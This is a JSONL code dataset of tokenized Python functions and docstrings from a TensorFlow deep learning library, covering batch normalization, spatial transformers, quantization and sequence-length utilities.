{"signature": "def _to_channel_first_bias(b):", "body": "channel_size = int(b.shape[<NUM_LIT:0>])<EOL>new_shape = (channel_size, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>return tf.reshape(b, new_shape)<EOL>", "docstring": "Reshape [c] to [c, 1, 1].", "id": "f11170:m0"}
{"signature": "def _bias_scale(x, b, data_format):", "body": "if data_format == '<STR_LIT>':<EOL><INDENT>return x * b<EOL><DEDENT>elif data_format == '<STR_LIT>':<EOL><INDENT>return x * _to_channel_first_bias(b)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % data_format)<EOL><DEDENT>", "docstring": "The multiplication counter part of tf.nn.bias_add.", "id": "f11170:m1"}
{"signature": "def _bias_add(x, b, data_format):", "body": "if data_format == '<STR_LIT>':<EOL><INDENT>return tf.add(x, b)<EOL><DEDENT>elif data_format == '<STR_LIT>':<EOL><INDENT>return tf.add(x, _to_channel_first_bias(b))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % data_format)<EOL><DEDENT>", "docstring": "Alternative implementation of tf.nn.bias_add which is compatiable with tensorRT.", "id": "f11170:m2"}
{"signature": "def batch_normalization(x, mean, variance, offset, scale, variance_epsilon, data_format, name=None):", "body": "with ops.name_scope(name, '<STR_LIT>', [x, mean, variance, scale, offset]):<EOL><INDENT>inv = math_ops.rsqrt(variance + variance_epsilon)<EOL>if scale is not None:<EOL><INDENT>inv *= scale<EOL><DEDENT>a = math_ops.cast(inv, x.dtype)<EOL>b = math_ops.cast(offset - mean * inv if offset is not None else -mean * inv, x.dtype)<EOL>df = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>return _bias_add(_bias_scale(x, a, df[data_format]), b, df[data_format])<EOL><DEDENT>", "docstring": "Data Format aware version of tf.nn.batch_normalization.", "id": "f11170:m3"}
{"signature": "def print_params(self, details=True, session=None):", "body": "for i, p in enumerate(self.all_params):<EOL><INDENT>if details:<EOL><INDENT>try:<EOL><INDENT>val = p.eval(session=session)<EOL>logging.info(<EOL>\"<STR_LIT>\".<EOL>format(i, p.name, str(val.shape), p.dtype.name, val.mean(), np.median(val), val.std())<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.info(str(e))<EOL>raise Exception(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(i, p.name, str(p.get_shape()), p.dtype.name))<EOL><DEDENT><DEDENT>logging.info(\"<STR_LIT>\" % self.count_params())<EOL>", "docstring": "Print all info of parameters in the network", "id": "f11189:c1:m1"}
{"signature": "def print_layers(self):", "body": "for i, layer in enumerate(self.all_layers):<EOL><INDENT>logging.info(<EOL>\"<STR_LIT>\".format(i, layer.name, str(layer.get_shape()), layer.dtype.name)<EOL>)<EOL><DEDENT>", "docstring": "Print all info of layers in the network.", "id": "f11189:c1:m2"}
{"signature": "def count_params(self):", "body": "n_params = <NUM_LIT:0><EOL>for _i, p in enumerate(self.all_params):<EOL><INDENT>n = <NUM_LIT:1><EOL>for s in p.get_shape():<EOL><INDENT>try:<EOL><INDENT>s = int(s)<EOL><DEDENT>except Exception:<EOL><INDENT>s = <NUM_LIT:1><EOL><DEDENT>if s:<EOL><INDENT>n = n * s<EOL><DEDENT><DEDENT>n_params = n_params + n<EOL><DEDENT>return n_params<EOL>", "docstring": "Returns the number of parameters in the network.", "id": "f11189:c1:m3"}
{"signature": "def get_all_params(self, session=None):", "body": "_params = []<EOL>for p in self.all_params:<EOL><INDENT>if session is None:<EOL><INDENT>_params.append(p.eval())<EOL><DEDENT>else:<EOL><INDENT>_params.append(session.run(p))<EOL><DEDENT><DEDENT>return _params<EOL>", "docstring": "Return the parameters in a list of array.", "id": "f11189:c1:m4"}
{"signature": "@protected_method<EOL><INDENT>def _get_init_args(self, skip=<NUM_LIT:4>):<DEDENT>", "body": "stack = inspect.stack()<EOL>if len(stack) < skip + <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>args, _, _, values = inspect.getargvalues(stack[skip][<NUM_LIT:0>])<EOL>params = {}<EOL>for arg in args:<EOL><INDENT>if values[arg] is not None and arg not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>val = values[arg]<EOL>if inspect.isfunction(val):<EOL><INDENT>params[arg] = {\"<STR_LIT>\": val.__module__, \"<STR_LIT>\": val.__name__}<EOL><DEDENT>elif arg.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>params[arg] = val<EOL><DEDENT><DEDENT><DEDENT>return params<EOL>", "docstring": "Get all arguments of current layer for saving the graph.", "id": "f11189:c1:m11"}
{"signature": "def transformer(U, theta, out_size, name='<STR_LIT>'):", "body": "def _repeat(x, n_repeats):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>rep = tf.transpose(tf.expand_dims(tf.ones(shape=tf.stack([<EOL>n_repeats,<EOL>])), <NUM_LIT:1>), [<NUM_LIT:1>, <NUM_LIT:0>])<EOL>rep = tf.cast(rep, '<STR_LIT>')<EOL>x = tf.matmul(tf.reshape(x, (-<NUM_LIT:1>, <NUM_LIT:1>)), rep)<EOL>return tf.reshape(x, [-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>def _interpolate(im, x, y, out_size):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>num_batch = tf.shape(im)[<NUM_LIT:0>]<EOL>height = tf.shape(im)[<NUM_LIT:1>]<EOL>width = tf.shape(im)[<NUM_LIT:2>]<EOL>channels = tf.shape(im)[<NUM_LIT:3>]<EOL>x = tf.cast(x, '<STR_LIT>')<EOL>y = tf.cast(y, '<STR_LIT>')<EOL>height_f = tf.cast(height, '<STR_LIT>')<EOL>width_f = tf.cast(width, '<STR_LIT>')<EOL>out_height = out_size[<NUM_LIT:0>]<EOL>out_width = out_size[<NUM_LIT:1>]<EOL>zero = tf.zeros([], dtype='<STR_LIT>')<EOL>max_y = tf.cast(tf.shape(im)[<NUM_LIT:1>] - <NUM_LIT:1>, '<STR_LIT>')<EOL>max_x = tf.cast(tf.shape(im)[<NUM_LIT:2>] - <NUM_LIT:1>, '<STR_LIT>')<EOL>x = (x + <NUM_LIT:1.0>) * (width_f) / <NUM_LIT><EOL>y = (y + <NUM_LIT:1.0>) * (height_f) / <NUM_LIT><EOL>x0 = tf.cast(tf.floor(x), '<STR_LIT>')<EOL>x1 = x0 + <NUM_LIT:1><EOL>y0 = tf.cast(tf.floor(y), '<STR_LIT>')<EOL>y1 = y0 + <NUM_LIT:1><EOL>x0 = tf.clip_by_value(x0, zero, max_x)<EOL>x1 = tf.clip_by_value(x1, zero, max_x)<EOL>y0 = tf.clip_by_value(y0, zero, max_y)<EOL>y1 = tf.clip_by_value(y1, zero, max_y)<EOL>dim2 = width<EOL>dim1 = width * height<EOL>base = _repeat(tf.range(num_batch) * dim1, out_height * out_width)<EOL>base_y0 = base + y0 * dim2<EOL>base_y1 = base + y1 * dim2<EOL>idx_a = base_y0 + x0<EOL>idx_b = base_y1 + x0<EOL>idx_c = base_y0 + x1<EOL>idx_d = base_y1 + x1<EOL>im_flat = tf.reshape(im, tf.stack([-<NUM_LIT:1>, channels]))<EOL>im_flat = tf.cast(im_flat, '<STR_LIT>')<EOL>Ia = tf.gather(im_flat, idx_a)<EOL>Ib = tf.gather(im_flat, idx_b)<EOL>Ic = tf.gather(im_flat, idx_c)<EOL>Id = tf.gather(im_flat, idx_d)<EOL>x0_f = tf.cast(x0, '<STR_LIT>')<EOL>x1_f = tf.cast(x1, '<STR_LIT>')<EOL>y0_f = tf.cast(y0, '<STR_LIT>')<EOL>y1_f = tf.cast(y1, '<STR_LIT>')<EOL>wa = tf.expand_dims(((x1_f - x) * (y1_f - y)), <NUM_LIT:1>)<EOL>wb = tf.expand_dims(((x1_f - x) * (y - y0_f)), <NUM_LIT:1>)<EOL>wc = tf.expand_dims(((x - x0_f) * (y1_f - y)), <NUM_LIT:1>)<EOL>wd = tf.expand_dims(((x - x0_f) * (y - y0_f)), <NUM_LIT:1>)<EOL>output = tf.add_n([wa * Ia, wb * Ib, wc * Ic, wd * Id])<EOL>return output<EOL><DEDENT><DEDENT>def _meshgrid(height, width):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>x_t = tf.matmul(<EOL>tf.ones(shape=tf.stack([height, <NUM_LIT:1>])),<EOL>tf.transpose(tf.expand_dims(tf.linspace(-<NUM_LIT:1.0>, <NUM_LIT:1.0>, width), <NUM_LIT:1>), [<NUM_LIT:1>, <NUM_LIT:0>])<EOL>)<EOL>y_t = tf.matmul(tf.expand_dims(tf.linspace(-<NUM_LIT:1.0>, <NUM_LIT:1.0>, height), <NUM_LIT:1>), tf.ones(shape=tf.stack([<NUM_LIT:1>, width])))<EOL>x_t_flat = tf.reshape(x_t, (<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>y_t_flat = tf.reshape(y_t, (<NUM_LIT:1>, -<NUM_LIT:1>))<EOL>ones = tf.ones_like(x_t_flat)<EOL>grid = tf.concat(axis=<NUM_LIT:0>, values=[x_t_flat, y_t_flat, ones])<EOL>return grid<EOL><DEDENT><DEDENT>def _transform(theta, input_dim, out_size):<EOL><INDENT>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>num_batch = tf.shape(input_dim)[<NUM_LIT:0>]<EOL>num_channels = tf.shape(input_dim)[<NUM_LIT:3>]<EOL>theta = tf.reshape(theta, (-<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>))<EOL>theta = tf.cast(theta, '<STR_LIT>')<EOL>out_height = out_size[<NUM_LIT:0>]<EOL>out_width = out_size[<NUM_LIT:1>]<EOL>grid = _meshgrid(out_height, out_width)<EOL>grid = tf.expand_dims(grid, <NUM_LIT:0>)<EOL>grid = tf.reshape(grid, [-<NUM_LIT:1>])<EOL>grid = tf.tile(grid, tf.stack([num_batch]))<EOL>grid = tf.reshape(grid, tf.stack([num_batch, <NUM_LIT:3>, -<NUM_LIT:1>]))<EOL>T_g = tf.matmul(theta, grid)<EOL>x_s = tf.slice(T_g, [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>], [-<NUM_LIT:1>, <NUM_LIT:1>, -<NUM_LIT:1>])<EOL>y_s = tf.slice(T_g, [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>], [-<NUM_LIT:1>, <NUM_LIT:1>, -<NUM_LIT:1>])<EOL>x_s_flat = tf.reshape(x_s, [-<NUM_LIT:1>])<EOL>y_s_flat = tf.reshape(y_s, [-<NUM_LIT:1>])<EOL>input_transformed = _interpolate(input_dim, x_s_flat, y_s_flat, out_size)<EOL>output = tf.reshape(input_transformed, tf.stack([num_batch, out_height, out_width, num_channels]))<EOL>return output<EOL><DEDENT><DEDENT>with tf.variable_scope(name):<EOL><INDENT>output = _transform(theta, U, out_size)<EOL>return output<EOL><DEDENT>", "docstring": "Spatial Transformer Layer for `2D Affine Transformation <https://en.wikipedia.org/wiki/Affine_transformation>`__\n    , see :class:`SpatialTransformer2dAffineLayer` class.\n\n    Parameters\n    ----------\n    U : list of float\n        The output of a convolutional net should have the\n        shape [num_batch, height, width, num_channels].\n    theta: float\n        The output of the localisation network should be [num_batch, 6], value range should be [0, 1] (via tanh).\n    out_size: tuple of int\n        The size of the output of the network (height, width)\n    name: str\n        Optional function name\n\n    Returns\n    -------\n    Tensor\n        The transformed tensor.\n\n    References\n    ----------\n    - `Spatial Transformer Networks <https://arxiv.org/abs/1506.02025>`__\n    - `TensorFlow/Models <https://github.com/tensorflow/models/tree/master/transformer>`__\n\n    Notes\n    -----\n    To initialize the network to the identity transform init.\n\n    >>> import tensorflow as tf\n    >>> # ``theta`` to\n    >>> identity = np.array([[1., 0., 0.], [0., 1., 0.]])\n    >>> identity = identity.flatten()\n    >>> theta = tf.Variable(initial_value=identity)", "id": "f11193:m0"}
{"signature": "def batch_transformer(U, thetas, out_size, name='<STR_LIT>'):", "body": "with tf.variable_scope(name):<EOL><INDENT>num_batch, num_transforms = map(int, thetas.get_shape().as_list()[:<NUM_LIT:2>])<EOL>indices = [[i] * num_transforms for i in xrange(num_batch)]<EOL>input_repeated = tf.gather(U, tf.reshape(indices, [-<NUM_LIT:1>]))<EOL>return transformer(input_repeated, thetas, out_size)<EOL><DEDENT>", "docstring": "Batch Spatial Transformer function for `2D Affine Transformation <https://en.wikipedia.org/wiki/Affine_transformation>`__.\n\n    Parameters\n    ----------\n    U : list of float\n        tensor of inputs [batch, height, width, num_channels]\n    thetas : list of float\n        a set of transformations for each input [batch, num_transforms, 6]\n    out_size : list of int\n        the size of the output [out_height, out_width]\n    name : str\n        optional function name\n\n    Returns\n    ------\n    float\n        Tensor of size [batch * num_transforms, out_height, out_width, num_channels]", "id": "f11193:m1"}
{"signature": "def compute_alpha(x):", "body": "threshold = _compute_threshold(x)<EOL>alpha1_temp1 = tf.where(tf.greater(x, threshold), x, tf.zeros_like(x, tf.float32))<EOL>alpha1_temp2 = tf.where(tf.less(x, -threshold), x, tf.zeros_like(x, tf.float32))<EOL>alpha_array = tf.add(alpha1_temp1, alpha1_temp2, name=None)<EOL>alpha_array_abs = tf.abs(alpha_array)<EOL>alpha_array_abs1 = tf.where(<EOL>tf.greater(alpha_array_abs, <NUM_LIT:0>), tf.ones_like(alpha_array_abs, tf.float32),<EOL>tf.zeros_like(alpha_array_abs, tf.float32)<EOL>)<EOL>alpha_sum = tf.reduce_sum(alpha_array_abs)<EOL>n = tf.reduce_sum(alpha_array_abs1)<EOL>alpha = tf.div(alpha_sum, n)<EOL>return alpha<EOL>", "docstring": "Computing the scale parameter.", "id": "f11194:m2"}
{"signature": "def flatten_reshape(variable, name='<STR_LIT>'):", "body": "dim = <NUM_LIT:1><EOL>for d in variable.get_shape()[<NUM_LIT:1>:].as_list():<EOL><INDENT>dim *= d<EOL><DEDENT>return tf.reshape(variable, shape=[-<NUM_LIT:1>, dim], name=name)<EOL>", "docstring": "Reshapes a high-dimension vector input.\n\n    [batch_size, mask_row, mask_col, n_mask] ---> [batch_size, mask_row x mask_col x n_mask]\n\n    Parameters\n    ----------\n    variable : TensorFlow variable or tensor\n        The variable or tensor to be flatten.\n    name : str\n        A unique layer name.\n\n    Returns\n    -------\n    Tensor\n        Flatten Tensor\n\n    Examples\n    --------\n    >>> import tensorflow as tf\n    >>> import tensorlayer as tl\n    >>> x = tf.placeholder(tf.float32, [None, 128, 128, 3])\n    >>> # Convolution Layer with 32 filters and a kernel size of 5\n    >>> network = tf.layers.conv2d(x, 32, 5, activation=tf.nn.relu)\n    >>> # Max Pooling (down-sampling) with strides of 2 and kernel size of 2\n    >>> network = tf.layers.max_pooling2d(network, 2, 2)\n    >>> print(network.get_shape()[:].as_list())\n    >>> [None, 62, 62, 32]\n    >>> network = tl.layers.flatten_reshape(network)\n    >>> print(network.get_shape()[:].as_list()[1:])\n    >>> [None, 123008]", "id": "f11194:m3"}
{"signature": "@deprecated_alias(printable='<STR_LIT>', end_support_version=<NUM_LIT>)  <EOL>def get_layers_with_name(net, name=\"<STR_LIT>\", verbose=False):", "body": "logging.info(\"<STR_LIT>\" % name)<EOL>layers = []<EOL>i = <NUM_LIT:0><EOL>for layer in net.all_layers:<EOL><INDENT>if name in layer.name:<EOL><INDENT>layers.append(layer)<EOL>if verbose:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(i, layer.name, str(layer.get_shape())))<EOL>i = i + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return layers<EOL>", "docstring": "Get a list of layers' output in a network by a given name scope.\n\n    Parameters\n    -----------\n    net : :class:`Layer`\n        The last layer of the network.\n    name : str\n        Get the layers' output that contain this name.\n    verbose : boolean\n        If True, print information of all the layers' output\n\n    Returns\n    --------\n    list of Tensor\n        A list of layers' output (TensorFlow tensor)\n\n    Examples\n    ---------\n    >>> import tensorlayer as tl\n    >>> layers = tl.layers.get_layers_with_name(net, \"CNN\", True)", "id": "f11194:m5"}
{"signature": "@deprecated_alias(printable='<STR_LIT>', end_support_version=<NUM_LIT>)  <EOL>def get_variables_with_name(name=None, train_only=True, verbose=False):", "body": "if name is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>logging.info(\"<STR_LIT>\" % name)<EOL>if train_only:<EOL><INDENT>t_vars = tf.trainable_variables()<EOL><DEDENT>else:<EOL><INDENT>t_vars = tf.global_variables()<EOL><DEDENT>d_vars = [var for var in t_vars if name in var.name]<EOL>if verbose:<EOL><INDENT>for idx, v in enumerate(d_vars):<EOL><INDENT>logging.info(\"<STR_LIT>\".format(idx, v.name, str(v.get_shape())))<EOL><DEDENT><DEDENT>return d_vars<EOL>", "docstring": "Get a list of TensorFlow variables by a given name scope.\n\n    Parameters\n    ----------\n    name : str\n        Get the variables that contain this name.\n    train_only : boolean\n        If Ture, only get the trainable variables.\n    verbose : boolean\n        If True, print the information of all variables.\n\n    Returns\n    -------\n    list of Tensor\n        A list of TensorFlow variables\n\n    Examples\n    --------\n    >>> import tensorlayer as tl\n    >>> dense_vars = tl.layers.get_variables_with_name('dense', True, True)", "id": "f11194:m6"}
{"signature": "@deprecated(date=\"<STR_LIT>\", instructions=\"<STR_LIT>\")<EOL>def initialize_global_variables(sess):", "body": "if sess is None:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>sess.run(tf.global_variables_initializer())<EOL>", "docstring": "Initialize the global variables of TensorFlow.\n\n    Run ``sess.run(tf.global_variables_initializer())`` for TF 0.12+ or\n    ``sess.run(tf.initialize_all_variables())`` for TF 0.11.\n\n    Parameters\n    ----------\n    sess : Session\n        TensorFlow session.", "id": "f11194:m7"}
{"signature": "def initialize_rnn_state(state, feed_dict=None):", "body": "if isinstance(state, LSTMStateTuple):<EOL><INDENT>c = state.c.eval(feed_dict=feed_dict)<EOL>h = state.h.eval(feed_dict=feed_dict)<EOL>return c, h<EOL><DEDENT>else:<EOL><INDENT>new_state = state.eval(feed_dict=feed_dict)<EOL>return new_state<EOL><DEDENT>", "docstring": "Returns the initialized RNN state.\n    The inputs are `LSTMStateTuple` or `State` of `RNNCells`, and an optional `feed_dict`.\n\n    Parameters\n    ----------\n    state : RNN state.\n        The TensorFlow's RNN state.\n    feed_dict : dictionary\n        Initial RNN state; if None, returns zero state.\n\n    Returns\n    -------\n    RNN state\n        The TensorFlow's RNN state.", "id": "f11194:m8"}
{"signature": "def list_remove_repeat(x):", "body": "y = []<EOL>for i in x:<EOL><INDENT>if i not in y:<EOL><INDENT>y.append(i)<EOL><DEDENT><DEDENT>return y<EOL>", "docstring": "Remove the repeated items in a list, and return the processed list.\n    You may need it to create merged layer like Concat, Elementwise and etc.\n\n    Parameters\n    ----------\n    x : list\n        Input\n\n    Returns\n    -------\n    list\n        A list that after removing it's repeated items\n\n    Examples\n    -------\n    >>> l = [2, 3, 4, 2, 3]\n    >>> l = list_remove_repeat(l)\n    [2, 3, 4]", "id": "f11194:m9"}
{"signature": "def merge_networks(layers=None):", "body": "if layers is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>layer = layers[<NUM_LIT:0>]<EOL>all_params = []<EOL>all_layers = []<EOL>all_drop = {}<EOL>for l in layers:<EOL><INDENT>all_params.extend(l.all_params)<EOL>all_layers.extend(l.all_layers)<EOL>all_drop.update(l.all_drop)<EOL><DEDENT>layer.all_params = list(all_params)<EOL>layer.all_layers = list(all_layers)<EOL>layer.all_drop = dict(all_drop)<EOL>layer.all_layers = list_remove_repeat(layer.all_layers)<EOL>layer.all_params = list_remove_repeat(layer.all_params)<EOL>return layer<EOL>", "docstring": "Merge all parameters, layers and dropout probabilities to a :class:`Layer`.\n    The output of return network is the first network in the list.\n\n    Parameters\n    ----------\n    layers : list of :class:`Layer`\n        Merge all parameters, layers and dropout probabilities to the first layer in the list.\n\n    Returns\n    --------\n    :class:`Layer`\n        The network after merging all parameters, layers and dropout probabilities to the first network in the list.\n\n    Examples\n    ---------\n    >>> import tensorlayer as tl\n    >>> n1 = ...\n    >>> n2 = ...\n    >>> n1 = tl.layers.merge_networks([n1, n2])", "id": "f11194:m10"}
{"signature": "def print_all_variables(train_only=False):", "body": "<EOL>if train_only:<EOL><INDENT>t_vars = tf.trainable_variables()<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>t_vars = tf.global_variables()<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>for idx, v in enumerate(t_vars):<EOL><INDENT>logging.info(\"<STR_LIT>\".format(idx, str(v.get_shape()), v.name))<EOL><DEDENT>", "docstring": "Print information of trainable or all variables,\n    without ``tl.layers.initialize_global_variables(sess)``.\n\n    Parameters\n    ----------\n    train_only : boolean\n        Whether print trainable variables only.\n            - If True, print the trainable variables.\n            - If False, print all variables.", "id": "f11194:m11"}
{"signature": "def ternary_operation(x):", "body": "g = tf.get_default_graph()<EOL>with g.gradient_override_map({\"<STR_LIT>\": \"<STR_LIT>\"}):<EOL><INDENT>threshold = _compute_threshold(x)<EOL>x = tf.sign(tf.add(tf.sign(tf.add(x, threshold)), tf.sign(tf.add(x, -threshold))))<EOL>return x<EOL><DEDENT>", "docstring": "Ternary operation use threshold computed with weights.", "id": "f11194:m18"}
{"signature": "@tf.RegisterGradient(\"<STR_LIT>\")<EOL>def _quantize_grad(op, grad):", "body": "return tf.clip_by_value(grad, -<NUM_LIT:1>, <NUM_LIT:1>)<EOL>", "docstring": "Clip and binarize tensor using the straight through estimator (STE) for the gradient.", "id": "f11194:m19"}
{"signature": "def _compute_threshold(x):", "body": "x_sum = tf.reduce_sum(tf.abs(x), reduction_indices=None, keepdims=False, name=None)<EOL>threshold = tf.div(x_sum, tf.cast(tf.size(x), tf.float32), name=None)<EOL>threshold = tf.multiply(<NUM_LIT>, threshold, name=None)<EOL>return threshold<EOL>", "docstring": "ref: https://github.com/XJTUWYD/TWN\nComputing the threshold.", "id": "f11194:m22"}
{"signature": "def _conv_linear(args, filter_size, num_features, bias, bias_start=<NUM_LIT:0.0>, scope=None):", "body": "<EOL>total_arg_size_depth = <NUM_LIT:0><EOL>shapes = [a.get_shape().as_list() for a in args]<EOL>for shape in shapes:<EOL><INDENT>if len(shape) != <NUM_LIT:4>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(shapes))<EOL><DEDENT>if not shape[<NUM_LIT:3>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(shapes))<EOL><DEDENT>else:<EOL><INDENT>total_arg_size_depth += shape[<NUM_LIT:3>]<EOL><DEDENT><DEDENT>dtype = [a.dtype for a in args][<NUM_LIT:0>]<EOL>with tf.variable_scope(scope or \"<STR_LIT>\"):<EOL><INDENT>matrix = tf.get_variable(<EOL>\"<STR_LIT>\", [filter_size[<NUM_LIT:0>], filter_size[<NUM_LIT:1>], total_arg_size_depth, num_features], dtype=dtype<EOL>)<EOL>if len(args) == <NUM_LIT:1>:<EOL><INDENT>res = tf.nn.conv2d(args[<NUM_LIT:0>], matrix, strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>res = tf.nn.conv2d(tf.concat(args, <NUM_LIT:3>), matrix, strides=[<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], padding='<STR_LIT>')<EOL><DEDENT>if not bias:<EOL><INDENT>return res<EOL><DEDENT>bias_term = tf.get_variable(<EOL>\"<STR_LIT>\", [num_features], dtype=dtype, initializer=tf.constant_initializer(bias_start, dtype=dtype)<EOL>)<EOL><DEDENT>return res + bias_term<EOL>", "docstring": "convolution:\n\n    Parameters\n    ----------\n    args : tensor\n        4D Tensor or a list of 4D, batch x n, Tensors.\n    filter_size : tuple of int\n        Filter height and width.\n    num_features : int\n        Nnumber of features.\n    bias_start : float\n        Starting value to initialize the bias; 0 by default.\n    scope : VariableScope\n        For the created subgraph; defaults to \"Linear\".\n\n    Returns\n    --------\n    - A 4D Tensor with shape [batch h w num_features]\n\n    Raises\n    -------\n    - ValueError : if some of the arguments has unspecified or wrong shape.", "id": "f11199:m0"}
{"signature": "def advanced_indexing_op(inputs, index):", "body": "batch_size = tf.shape(inputs)[<NUM_LIT:0>]<EOL>max_length = tf.shape(inputs)[<NUM_LIT:1>]  <EOL>dim_size = int(inputs.get_shape()[<NUM_LIT:2>])<EOL>index = tf.range(<NUM_LIT:0>, batch_size) * max_length + (index - <NUM_LIT:1>)<EOL>flat = tf.reshape(inputs, [-<NUM_LIT:1>, dim_size])<EOL>relevant = tf.gather(flat, index)<EOL>return relevant<EOL>", "docstring": "Advanced Indexing for Sequences, returns the outputs by given sequence lengths.\n    When return the last output :class:`DynamicRNNLayer` uses it to get the last outputs with the sequence lengths.\n\n    Parameters\n    -----------\n    inputs : tensor for data\n        With shape of [batch_size, n_step(max), n_features]\n    index : tensor for indexing\n        Sequence length in Dynamic RNN. [batch_size]\n\n    Examples\n    ---------\n    >>> import numpy as np\n    >>> import tensorflow as tf\n    >>> import tensorlayer as tl\n    >>> batch_size, max_length, n_features = 3, 5, 2\n    >>> z = np.random.uniform(low=-1, high=1, size=[batch_size, max_length, n_features]).astype(np.float32)\n    >>> b_z = tf.constant(z)\n    >>> sl = tf.placeholder(dtype=tf.int32, shape=[batch_size])\n    >>> o = advanced_indexing_op(b_z, sl)\n    >>>\n    >>> sess = tf.InteractiveSession()\n    >>> tl.layers.initialize_global_variables(sess)\n    >>>\n    >>> order = np.asarray([1,1,2])\n    >>> print(\"real\",z[0][order[0]-1], z[1][order[1]-1], z[2][order[2]-1])\n    >>> y = sess.run([o], feed_dict={sl:order})\n    >>> print(\"given\",order)\n    >>> print(\"out\", y)\n    real [-0.93021595  0.53820813] [-0.92548317 -0.77135968] [ 0.89952248  0.19149846]\n    given [1 1 2]\n    out [array([[-0.93021595,  0.53820813],\n                [-0.92548317, -0.77135968],\n                [ 0.89952248,  0.19149846]], dtype=float32)]\n\n    References\n    -----------\n    - Modified from TFlearn (the original code is used for fixed length rnn), `references <https://github.com/tflearn/tflearn/blob/master/tflearn/layers/recurrent.py>`__.", "id": "f11199:m1"}
{"signature": "def retrieve_seq_length_op(data):", "body": "with tf.name_scope('<STR_LIT>'):<EOL><INDENT>used = tf.sign(tf.reduce_max(tf.abs(data), <NUM_LIT:2>))<EOL>length = tf.reduce_sum(used, <NUM_LIT:1>)<EOL>return tf.cast(length, tf.int32)<EOL><DEDENT>", "docstring": "An op to compute the length of a sequence from input shape of [batch_size, n_step(max), n_features],\n    it can be used when the features of padding (on right hand side) are all zeros.\n\n    Parameters\n    -----------\n    data : tensor\n        [batch_size, n_step(max), n_features] with zero padding on right hand side.\n\n    Examples\n    ---------\n    >>> data = [[[1],[2],[0],[0],[0]],\n    ...         [[1],[2],[3],[0],[0]],\n    ...         [[1],[2],[6],[1],[0]]]\n    >>> data = np.asarray(data)\n    >>> print(data.shape)\n    (3, 5, 1)\n    >>> data = tf.constant(data)\n    >>> sl = retrieve_seq_length_op(data)\n    >>> sess = tf.InteractiveSession()\n    >>> tl.layers.initialize_global_variables(sess)\n    >>> y = sl.eval()\n    [2 3 4]\n\n    Multiple features\n    >>> data = [[[1,2],[2,2],[1,2],[1,2],[0,0]],\n    ...         [[2,3],[2,4],[3,2],[0,0],[0,0]],\n    ...         [[3,3],[2,2],[5,3],[1,2],[0,0]]]\n    >>> print(sl)\n    [4 3 4]\n\n    References\n    ------------\n    Borrow from `TFlearn <https://github.com/tflearn/tflearn/blob/master/tflearn/layers/recurrent.py>`__.", "id": "f11199:m2"}
{"signature": "def retrieve_seq_length_op2(data):", "body": "return tf.reduce_sum(tf.cast(tf.greater(data, tf.zeros_like(data)), tf.int32), <NUM_LIT:1>)<EOL>", "docstring": "An op to compute the length of a sequence, from input shape of [batch_size, n_step(max)],\n    it can be used when the features of padding (on right hand side) are all zeros.\n\n    Parameters\n    -----------\n    data : tensor\n        [batch_size, n_step(max)] with zero padding on right hand side.\n\n    Examples\n    --------\n    >>> data = [[1,2,0,0,0],\n    ...         [1,2,3,0,0],\n    ...         [1,2,6,1,0]]\n    >>> o = retrieve_seq_length_op2(data)\n    >>> sess = tf.InteractiveSession()\n    >>> tl.layers.initialize_global_variables(sess)\n    >>> print(o.eval())\n    [2 3 4]", "id": "f11199:m3"}
{"signature": "def retrieve_seq_length_op3(data, pad_val=<NUM_LIT:0>):  ", "body": "data_shape_size = data.get_shape().ndims<EOL>if data_shape_size == <NUM_LIT:3>:<EOL><INDENT>return tf.reduce_sum(tf.cast(tf.reduce_any(tf.not_equal(data, pad_val), axis=<NUM_LIT:2>), dtype=tf.int32), <NUM_LIT:1>)<EOL><DEDENT>elif data_shape_size == <NUM_LIT:2>:<EOL><INDENT>return tf.reduce_sum(tf.cast(tf.not_equal(data, pad_val), dtype=tf.int32), <NUM_LIT:1>)<EOL><DEDENT>elif data_shape_size == <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (data_shape_size)<EOL>)<EOL><DEDENT>", "docstring": "Return tensor for sequence length, if input is ``tf.string``.", "id": "f11199:m4"}
